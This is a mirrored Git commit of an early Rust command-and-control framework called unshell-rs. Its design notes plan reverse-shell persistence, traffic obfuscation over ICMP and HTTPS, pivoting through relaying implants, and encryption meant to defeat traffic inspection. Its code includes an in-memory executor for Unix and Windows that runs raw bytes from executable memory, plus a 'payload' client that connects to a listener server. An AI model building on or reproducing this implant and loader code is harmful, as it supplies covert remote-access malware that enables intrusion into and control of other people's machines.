mirror of
https://github.com/Astatin3/unshell-nodes-rs.git
synced 2026-06-08 16:18:08 -06:00
Start working on structure
This commit is contained in:
@@ -12,3 +12,8 @@ Cargo.lock
|
|||||||
|
|
||||||
# MSVC Windows builds of rustc generate these, which store debugging information
|
# MSVC Windows builds of rustc generate these, which store debugging information
|
||||||
*.pdb
|
*.pdb
|
||||||
|
|
||||||
|
|
||||||
|
# Added by cargo
|
||||||
|
|
||||||
|
/target
|
||||||
|
|||||||
+10
@@ -0,0 +1,10 @@
|
|||||||
|
[package]
|
||||||
|
name = "unshell-rs"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2024"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
base64 = "0.22.1"
|
||||||
|
log = "0.4.27"
|
||||||
|
serde = { version = "1.0.219", features = ["derive"] }
|
||||||
|
serde_json = "1.0.140"
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
### Binary
|
||||||
|
- Obfustcation
|
||||||
|
- Randomly generated packed binaries
|
||||||
|
- Rust is already hard to decompile?
|
||||||
|
- Persistance
|
||||||
|
- Probably out of scope
|
||||||
|
- Build targets
|
||||||
|
- To achieve a minimal size, there should probably be a way to pack diffrent features with the actual result binary.
|
||||||
|
|
||||||
|
### Network
|
||||||
|
- Diffrent traffic obfuscators:
|
||||||
|
- ICMP
|
||||||
|
- HTTPS (Using actual webpages)
|
||||||
|
- OpenVPN (Hard to replicate in rust)
|
||||||
|
- "Hole Widening"
|
||||||
|
- Initial reverse shell is the final one
|
||||||
|
- Minimal presence on remote machine
|
||||||
|
- Instead of downloading binaries and then executing them, use the shell connection as a kind of remote storage server.
|
||||||
|
- Pivoting
|
||||||
|
- UI for sub-connections.
|
||||||
|
- A protocol that acts similar to routers and DHCP, registering known devices with the C2 server. Sub-devices will relay packets
|
||||||
|
- Packets must be encrypted, so that only the destination can decrypt.
|
||||||
|
- How?
|
||||||
|
- ### Encryption
|
||||||
|
- Diffrent "encryptors" such as PGP
|
||||||
|
- Everything must be self-implemented because of traffic monitors such as mitmproxy
|
||||||
|
- HTTPS could transmit over the actual TLS implemented by the system, and transfer data through things such as base64 images on webpages, which would itself be encrypted
|
||||||
|
|
||||||
|
### UI
|
||||||
|
- Egui??
|
||||||
|
- Usable both on web and on-device
|
||||||
|
- Network diagram creation tool
|
||||||
|
|
||||||
|
### Tools
|
||||||
|
- These are the diffrent tools that can be transmitted, and then run on a machine
|
||||||
|
- Host discovery && port scanning
|
||||||
|
- File upload and download
|
||||||
|
- Screenshare
|
||||||
|
- Virtual browser and desktop
|
||||||
|
- meterpreter functionality?
|
||||||
|
- Scripting?
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
[package]
|
||||||
|
name = "payload"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2024"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
# libc = "0.2.172"
|
||||||
|
unshell-rs = { path = "../" }
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
use std::error::Error;
|
||||||
|
|
||||||
|
#[allow(dead_code)]
|
||||||
|
#[cfg(unix)]
|
||||||
|
unsafe fn execute_in_memory(binary_data: &[u8]) -> Result<(), Box<dyn Error>> {
|
||||||
|
use std::mem;
|
||||||
|
|
||||||
|
// Allocate executable memory
|
||||||
|
let size = binary_data.len();
|
||||||
|
let page_size = 4096; // Typical page size
|
||||||
|
let aligned_size = (size + page_size - 1) & !(page_size - 1);
|
||||||
|
|
||||||
|
let ptr = libc::mmap(
|
||||||
|
std::ptr::null_mut(),
|
||||||
|
aligned_size,
|
||||||
|
libc::PROT_READ | libc::PROT_WRITE,
|
||||||
|
libc::MAP_PRIVATE | libc::MAP_ANONYMOUS,
|
||||||
|
-1,
|
||||||
|
0,
|
||||||
|
);
|
||||||
|
|
||||||
|
if ptr == libc::MAP_FAILED {
|
||||||
|
return Err(Box::new(std::io::Error::last_os_error()));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copy binary data to allocated memory
|
||||||
|
std::ptr::copy_nonoverlapping(binary_data.as_ptr(), ptr as *mut u8, size);
|
||||||
|
|
||||||
|
// Make memory executable
|
||||||
|
if libc::mprotect(ptr, aligned_size, libc::PROT_READ | libc::PROT_EXEC) != 0 {
|
||||||
|
libc::munmap(ptr, aligned_size);
|
||||||
|
return Err(Box::new(std::io::Error::last_os_error()));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cast to function pointer and execute
|
||||||
|
// This assumes the binary is a simple executable that can be called as a function
|
||||||
|
// For ELF binaries, you'd need proper ELF parsing and loading
|
||||||
|
let func: extern "C" fn() = mem::transmute(ptr);
|
||||||
|
|
||||||
|
println!("Executing binary...");
|
||||||
|
func();
|
||||||
|
|
||||||
|
// Clean up
|
||||||
|
libc::munmap(ptr, aligned_size);
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(windows)]
|
||||||
|
unsafe fn execute_in_memory(binary_data: &[u8]) -> Result<(), Box<dyn Error>> {
|
||||||
|
use std::mem;
|
||||||
|
use std::ptr;
|
||||||
|
|
||||||
|
// Allocate executable memory
|
||||||
|
let ptr = winapi::um::memoryapi::VirtualAlloc(
|
||||||
|
ptr::null_mut(),
|
||||||
|
binary_data.len(),
|
||||||
|
winapi::um::winnt::MEM_COMMIT | winapi::um::winnt::MEM_RESERVE,
|
||||||
|
winapi::um::winnt::PAGE_EXECUTE_READWRITE,
|
||||||
|
);
|
||||||
|
|
||||||
|
if ptr.is_null() {
|
||||||
|
return Err(Box::new(std::io::Error::last_os_error()));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copy binary data to allocated memory
|
||||||
|
ptr::copy_nonoverlapping(binary_data.as_ptr(), ptr as *mut u8, binary_data.len());
|
||||||
|
|
||||||
|
// Cast to function pointer and execute
|
||||||
|
let func: extern "C" fn() = mem::transmute(ptr);
|
||||||
|
|
||||||
|
println!("Executing binary...");
|
||||||
|
func();
|
||||||
|
|
||||||
|
// Clean up
|
||||||
|
winapi::um::memoryapi::VirtualFree(ptr, 0, winapi::um::winnt::MEM_RELEASE);
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
// #[allow(unsafe_op_in_unsafe_fn)]
|
||||||
|
// mod execute;
|
||||||
|
|
||||||
|
use std::error::Error;
|
||||||
|
use unshell_rs::{
|
||||||
|
networkers::{TCPClient, TCPConnection},
|
||||||
|
payload::run_client,
|
||||||
|
};
|
||||||
|
|
||||||
|
// /// Pipe streams are blocking, we need separate threads to monitor them without blocking the primary thread.
|
||||||
|
// fn child_stream_to_vec<R>(mut stream: R) -> Arc<Mutex<Vec<u8>>>
|
||||||
|
// where
|
||||||
|
// R: Read + Send + 'static,
|
||||||
|
// {
|
||||||
|
// let out = Arc::new(Mutex::new(Vec::new()));
|
||||||
|
// let vec = out.clone();
|
||||||
|
|
||||||
|
// }
|
||||||
|
|
||||||
|
fn main() -> Result<(), Box<dyn Error>> {
|
||||||
|
run_client::<TCPConnection, TCPClient>("127.0.0.1:3000")?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
[package]
|
||||||
|
name = "server"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2024"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
unshell-rs = { path = "../" }
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
use std::error::Error;
|
||||||
|
|
||||||
|
use unshell_rs::{
|
||||||
|
listeners::Listener,
|
||||||
|
networkers::{ServerTrait, TCPServer},
|
||||||
|
};
|
||||||
|
|
||||||
|
fn main() -> Result<(), Box<dyn Error>> {
|
||||||
|
let mut server = Listener::new(TCPServer::bind("0.0.0.0:3000")?);
|
||||||
|
|
||||||
|
server.run_listener()?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
use crate::layers::Layer;
|
||||||
|
use base64;
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
pub struct Base64;
|
||||||
|
|
||||||
|
impl Layer for Base64 {
|
||||||
|
fn encode(&mut self, data: &[u8]) -> Vec<u8> {
|
||||||
|
#[allow(deprecated)]
|
||||||
|
base64::encode(str::from_utf8(data).unwrap()).into_bytes()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn decode(&mut self, data: &[u8]) -> Vec<u8> {
|
||||||
|
#[allow(deprecated)]
|
||||||
|
base64::decode(str::from_utf8(data).unwrap()).unwrap()
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
pub trait Layer {
|
||||||
|
fn encode(&mut self, data: &[u8]) -> Vec<u8>;
|
||||||
|
fn decode(&mut self, data: &[u8]) -> Vec<u8>;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub mod base64;
|
||||||
|
|
||||||
|
pub use base64::Base64;
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
pub mod layers;
|
||||||
|
pub mod listeners;
|
||||||
|
pub mod networkers;
|
||||||
|
pub mod packets;
|
||||||
|
pub mod payload;
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
pub struct Client<C> {
|
||||||
|
pub stream: C,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<C> Client<C> {
|
||||||
|
pub fn new(stream: C) -> Self {
|
||||||
|
Self { stream }
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
mod client;
|
||||||
|
mod server;
|
||||||
|
|
||||||
|
pub use server::Listener;
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
use log::{info, trace, warn};
|
||||||
|
|
||||||
|
use std::{
|
||||||
|
io::{self, Write},
|
||||||
|
sync::{Arc, Mutex},
|
||||||
|
thread,
|
||||||
|
};
|
||||||
|
|
||||||
|
use crate::{
|
||||||
|
listeners::client::{self, Client},
|
||||||
|
networkers::{Connection, ServerTrait},
|
||||||
|
packets::Packet,
|
||||||
|
};
|
||||||
|
|
||||||
|
pub struct Listener<S, C> {
|
||||||
|
pub server: Arc<Mutex<S>>,
|
||||||
|
pub clients: Arc<Mutex<Vec<Client<C>>>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<S, C> Listener<S, C> {
|
||||||
|
pub fn new(server: S) -> Self {
|
||||||
|
Self {
|
||||||
|
server: Arc::new(Mutex::new(server)),
|
||||||
|
clients: Arc::new(Mutex::new(Vec::new())),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn run_listener(&mut self) -> Result<(), Box<dyn std::error::Error>>
|
||||||
|
where
|
||||||
|
S: ServerTrait<C>,
|
||||||
|
C: Connection + 'static,
|
||||||
|
S::Error: std::error::Error + 'static,
|
||||||
|
C::Error: std::error::Error + 'static,
|
||||||
|
{
|
||||||
|
loop {
|
||||||
|
let mut conn_lock = self.server.lock().unwrap();
|
||||||
|
|
||||||
|
match conn_lock.accept() {
|
||||||
|
Ok(conn) => {
|
||||||
|
let mut clients_lock = self.clients.lock().unwrap();
|
||||||
|
clients_lock.push(Client::new(conn));
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
eprintln!("Failed to accept connection: {:?}", e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
/// This is the lowset-level data transmission type
|
||||||
|
|
||||||
|
pub trait Connection: Send + Sync {
|
||||||
|
type Error: std::fmt::Debug;
|
||||||
|
|
||||||
|
fn read(&mut self) -> Result<String, Self::Error>;
|
||||||
|
fn write(&mut self, data: &str) -> Result<(), Self::Error>;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub trait ServerTrait<C: Connection> {
|
||||||
|
type Error: std::fmt::Debug;
|
||||||
|
|
||||||
|
fn accept(&mut self) -> Result<C, Self::Error>;
|
||||||
|
fn bind(address: &str) -> Result<Self, Self::Error>
|
||||||
|
where
|
||||||
|
Self: Sized;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub trait ClientTrait<C: Connection> {
|
||||||
|
type Error: std::fmt::Debug;
|
||||||
|
|
||||||
|
fn connect(address: &str) -> Result<C, Self::Error>;
|
||||||
|
}
|
||||||
|
|
||||||
|
mod tcp;
|
||||||
|
|
||||||
|
pub use tcp::TCPClient;
|
||||||
|
pub use tcp::TCPConnection;
|
||||||
|
pub use tcp::TCPServer;
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
use std::{
|
||||||
|
io::{self, BufRead, BufReader, Write},
|
||||||
|
net::{TcpListener, TcpStream},
|
||||||
|
};
|
||||||
|
|
||||||
|
use crate::networkers::{ClientTrait, Connection, ServerTrait};
|
||||||
|
|
||||||
|
pub struct TCPConnection {
|
||||||
|
stream: TcpStream,
|
||||||
|
reader: BufReader<TcpStream>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Connection for TCPConnection {
|
||||||
|
type Error = io::Error;
|
||||||
|
|
||||||
|
fn read(&mut self) -> Result<String, Self::Error> {
|
||||||
|
let mut line = String::new();
|
||||||
|
self.reader.read_line(&mut line)?;
|
||||||
|
Ok(line.trim_end().to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn write(&mut self, data: &str) -> Result<(), Self::Error> {
|
||||||
|
writeln!(self.stream, "{}", data)?;
|
||||||
|
self.stream.flush()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct TCPServer {
|
||||||
|
listener: TcpListener,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ServerTrait<TCPConnection> for TCPServer {
|
||||||
|
type Error = io::Error;
|
||||||
|
|
||||||
|
fn accept(&mut self) -> Result<TCPConnection, Self::Error> {
|
||||||
|
let (stream, _) = self.listener.accept()?;
|
||||||
|
let reader = BufReader::new(stream.try_clone()?);
|
||||||
|
Ok(TCPConnection { stream, reader })
|
||||||
|
}
|
||||||
|
|
||||||
|
fn bind(address: &str) -> Result<Self, Self::Error> {
|
||||||
|
let listener = TcpListener::bind(address)?;
|
||||||
|
Ok(Self { listener })
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct TCPClient;
|
||||||
|
|
||||||
|
impl ClientTrait<TCPConnection> for TCPClient {
|
||||||
|
type Error = io::Error;
|
||||||
|
|
||||||
|
fn connect(address: &str) -> Result<TCPConnection, Self::Error> {
|
||||||
|
let stream = TcpStream::connect(address)?;
|
||||||
|
let reader = BufReader::new(stream.try_clone()?);
|
||||||
|
Ok(TCPConnection { stream, reader })
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
|
mod sysinfo;
|
||||||
|
|
||||||
|
#[derive(Serialize, Deserialize, Debug)]
|
||||||
|
pub enum Packet {
|
||||||
|
Heartbeat,
|
||||||
|
Sysinfo(sysinfo::Sysinfo),
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
|
#[derive(Serialize, Deserialize, Debug)]
|
||||||
|
pub struct Sysinfo {
|
||||||
|
hostname: String,
|
||||||
|
}
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
use std::{
|
||||||
|
sync::{Arc, Mutex},
|
||||||
|
thread,
|
||||||
|
time::Duration,
|
||||||
|
};
|
||||||
|
|
||||||
|
use crate::{
|
||||||
|
networkers::{ClientTrait, Connection},
|
||||||
|
packets::Packet,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Generic client function
|
||||||
|
pub fn run_client<C, Cl>(address: &str) -> Result<(), Box<dyn std::error::Error>>
|
||||||
|
where
|
||||||
|
Cl: ClientTrait<C>,
|
||||||
|
C: Connection + 'static,
|
||||||
|
Cl::Error: std::error::Error + 'static,
|
||||||
|
C::Error: std::error::Error + 'static,
|
||||||
|
{
|
||||||
|
let recv_conn = Arc::new(Mutex::new(Cl::connect(address)?));
|
||||||
|
let transmit_vec: Arc<Mutex<Vec<Packet>>> = Arc::new(Mutex::new(Vec::new()));
|
||||||
|
|
||||||
|
let transmit_conn = Arc::clone(&recv_conn);
|
||||||
|
let transmit_vec_clone = Arc::clone(&transmit_vec);
|
||||||
|
|
||||||
|
thread::spawn(move || {
|
||||||
|
loop {
|
||||||
|
let mut transmit_vec_lock = transmit_vec.lock().unwrap();
|
||||||
|
if transmit_vec_lock.len() > 0 {
|
||||||
|
let mut conn_lock = recv_conn.lock().unwrap();
|
||||||
|
if let Ok(json) = serde_json::to_string(&transmit_vec_lock.pop().unwrap()) {
|
||||||
|
conn_lock.write(&json).expect("Failed to send packet!");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
thread::sleep(Duration::from_millis(10));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let mut conn_lock = transmit_conn.lock().unwrap();
|
||||||
|
let data = conn_lock.read();
|
||||||
|
drop(conn_lock);
|
||||||
|
match data {
|
||||||
|
Ok(data_json) => {
|
||||||
|
if data_json.is_empty() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let packet = serde_json::from_str::<Packet>(data_json.as_str());
|
||||||
|
println!("{:?}", packet);
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
eprintln!("Error reading, {}", e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// loop {
|
||||||
|
// let mut input = String::new();
|
||||||
|
// stdin.read_line(&mut input)?;
|
||||||
|
// let input = input.trim();
|
||||||
|
|
||||||
|
// if input == "quit" {
|
||||||
|
// conn.write(input)?;
|
||||||
|
// break;
|
||||||
|
// }
|
||||||
|
|
||||||
|
// if !input.is_empty() {
|
||||||
|
// conn.write(input)?;
|
||||||
|
|
||||||
|
// match conn.read() {
|
||||||
|
// Ok(response) => println!("Server: {}", response),
|
||||||
|
// Err(e) => {
|
||||||
|
// eprintln!("Failed to read response: {:?}", e);
|
||||||
|
// break;
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user